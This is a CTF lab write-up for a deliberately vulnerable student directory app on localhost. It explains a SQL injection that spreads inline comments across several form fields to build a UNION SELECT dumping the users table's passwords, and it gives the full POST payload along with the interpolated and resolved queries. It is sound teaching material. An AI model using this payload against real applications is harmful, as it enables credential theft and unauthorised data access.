DROPDOWN QUAKE HUD // TACTICAL SHELL
AUKA CTF Writeup Vault — Quake HUD Shell v3.1
Type 'help' for tactical commands or 'ls' to list catalog.
studio@vault:~$
AUKACTFVAULT._.
MISSION WRITEUP ID: stdio-sql-injection-tutorialPublished: 2025-03-15 by AUKA

SQL Injection Tutorial: Inline Comment Multi-Parameter Bypass

Crafting a multi-parameter SQL injection across form inputs using inline SQL comments `/* ... */` to construct a UNION SELECT query.

Target Mission Dossier
WebMedium
Target Host / IP
localhost:1080
Operating System
Linux
Architecture
x86_64
Primary Vulnerability
CWE-89 (SQL Injection)
Exposed Services:HTTP / Web Application (Port 1080)
Attack Kill Chain Progress1 / 3 Steps
01

Phase 1: HTTP Request Analysis & Form Inspection

The target application provides a student directory search form that sends a `POST` request with multiple query filter parameters: `id`, `fname`, `lname`, `class`, `grade`, and `order_by`.

studio@pwnbox:~/stdio-sql-injection-tutorial$
POST / HTTP/1.1
Host: localhost:1080
Content-Length: 106
Content-Type: application/x-www-form-urlencoded

id='/*&fname=*/)union/*&lname=*/select/*&class=*/1,1,1,/*&grade=*/1,pass/*&order_col=*/from&order_by=users
02

Phase 2: Breaking the Query with Inline Comment Wrapping

Each form field is interpolated into a pre-defined backend query. By opening an inline comment `/*` in one field and closing it `*/` in the next field, we can comment out intermediate SQL clauses and insert arbitrary SQL keywords:

studio@pwnbox:~/stdio-sql-injection-tutorial$
SELECT * FROM students WHERE (1=1
  AND id = ''/*'
  AND fname = '*/)union/*'
  AND lname = '*/select/*'
  AND class = '*/1,1,1,/*'
  AND grade = '*/1,pass/*'
)ORDER BY */from users
03

Phase 3: Final UNION SELECT Execution & Data Extraction

When the inline comments are evaluated by the SQL engine, the query resolves into a clean UNION SELECT that dumps credentials directly from the `users` table: Submitting this payload returns the user password column containing the flag.

studio@pwnbox:~/stdio-sql-injection-tutorial$
SELECT * FROM students
WHERE (1=1 AND id = '')
UNION
SELECT 1, 1, 1, 1, pass
FROM users

Final Target Proof of Compromise

Target Root Capture Flag
STUDIO{pwn3d_fl4g_h1dd3n_h3x_00000}
AUKA CTF Writeup Vault — Official Field Handbook
[ Open Terminal Shell ]•[ Back to Top ]